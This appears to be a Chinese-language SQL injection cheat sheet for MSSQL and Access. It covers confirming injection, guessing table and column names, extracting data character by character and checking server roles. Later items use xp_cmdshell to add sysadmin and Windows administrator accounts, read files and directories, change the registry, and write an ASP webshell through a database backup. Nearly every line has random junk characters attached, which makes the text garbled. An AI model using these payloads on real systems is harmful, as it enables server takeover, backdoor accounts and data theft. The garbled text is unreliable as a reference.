1.判断是否有注入;and 1=1 ;and 1=2 3URrK[%x`
2.初步判断是否是mssql ;and user>0 Qcs0w(
etP`q:6^c
3.注入参数是字符'and [查询条件] and ''=' FFF7f5F
$:DhK
4.搜索时没过滤参数的'and [查询条件] and '%25'=' Ahg6>7+R.
kRzqgVr%
5.判断数据库系统 P'Jb')m
.7#04_aP
;and (select count(*) from sysobjects)>0 mssql UZc{ Av
0j'k%R[l
;and (select count(*) from msysobjects)>0 access C9T-4o1
gD6BPW~0
a4!6K
-32.g\]
6.猜数据库 ;and (select Count(*) from [数据库名])>0 @eDL j}
)#cGePA
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 >LR+dShG
BQ~&gy{
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 v{U1B
w{ x=e
9.(1)猜字段的ascii值(access) QV%eTA
zhwajc
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 j7Lw(AJ
TUO#6
(2)猜字段的ascii值(mssql) Zxv{qbF
FEg&EYI
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 s8kkf5bu
:3*0o3C/
10.测试权限结构(mssql) fbW#6:Y
]p~,C*UH0
&T-udgR9
m=IA/HOR^
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 1FC1*7A[
9hs7B!3pc>
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- !1?Nc}T0Q&
*
@j#13.
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- nr{}yQu
KfNR)
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- s^AZ)k~J(
3sGe#s%
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- noNL.%I
~7=w,+
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Wv)2dD2I
uI[lrMQYa
;and 1=(select IS_MEMBER('db_owner'));-- IqONDdep9
P!2[#TL0
,t>/_pI+=
@AkD-}^[
11.添加mssql和系统的帐户 [PW*|U
)c<5:c
;exec master.dbo.sp_addlogin username;-- ;;- I<TL
;exec master.dbo.sp_password null,username,password;-- 0bk094
!ly]{DTmm
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- LaiUf_W#X
}vdhk0
;exec master.dbo.xp_cmdshell 'net user username password =u`^QE
rru `%~'O
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- X'>]z'0W
o%A@
OY
;exec master.dbo.xp_cmdshell 'net user username password /add';-- >U$,/_uMNW
G@QZmuj&KH
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- xpVYNS{c+|
#r)c@?T@j
fM)RO7
u_U51C\rb
12.(1)遍历目录 4E& 3{hnp
PDssEb7
;create table dirs(paths varchar(100), id int) H\<C@OkJS}
ve /Q6j{
;insert dirs exec master.dbo.xp_dirtree 'c:\' N~ XzgI
nPUq+cXy]C
;and (select top 1 paths from dirs)>0 sL tsvH#
SNd]c
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) SuW_[6]
1)M>vdrP
Ye_)~,{,p
5ff66CRw
(2)遍历目录 # 1,(I
asI:J/%+2
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 4o2C=?@(
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 &sQtS
ghiFI<)VY
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 wLC|mByq
A`Bg"k:D
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 u]ZCYJ>
@[S\ FjI
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 N*My2t_+E
IXf@YV
Jj'~\j
/Et:',D
13.mssql中的存储过程 #3u;Ox
%zB
`Sd<
xp_regenumvalues 注册表根键, 子键 w]\O3'0Js
|L7
`7!Z
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 4>Q6!"
NPEs0|
xp_regread 根键,子键,键值名 vV|u+v{
9oY%v7
;exec xp_regread h7
>
"Gxf[6B
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 q$s0zqV5
U:xr['
xp_regwrite 根键,子键, 值名, 值类型, 值 t{K1ht$[:
nMXSpX>!|
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 [ua{qJ9
D{/GjFO
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 nQvv'%v0
%c(':vI#
xp_regdeletevalue 根键,子键,值名 7{XI^I:n
z@biX
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 nlK"2/W
r>`65o
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 /W/ =OPe
>9|/sH@W
w.Ft-RXA W
aC$hg+U$G
14.mssql的backup创建webshell mg*[,_3q33
z.pP~he
use model W04-D
6546"sU
create table cmd(str image); ;e_n7>'#%
R b6`k^
insert into cmd(str) values (''); %Sfew/"R0
hHdH#-O:4"
backup database model to disk='c:\l.asp'; h4S,(*V$!
qV.*sdS>
+X0?bVT
i}+K;,Da:8
15.mssql内置函数 h{kAsd8 G
4jj@"*^a
;and (select @@version)>0 获得Windows的版本号 k|nv[xY0
c ++tk4
;and user_name()='dbo' 判断当前系统的连接用户是不是sa do%6P^qA
2|Hq[c=~
;and (select user_name())>0 爆当前系统的连接用户 9#.nNv*z3
W[:
n*h
;and (select db_name())>0 得到当前连接的数据库 W)?B{\
z6b!,lp
N%:QaCZKw
X61]N^y
16.简洁的webshell %X
O97
.T/\5_Bx
use model vVmoV0kGt
sC48o'8(
create table cmd(str image); SI)u@3hl&w
HkD6aJ:kA!
insert into cmd(str) values (''); }i./,
NI\jGR.
backup database model to disk='g:\wwwtest\l.asp';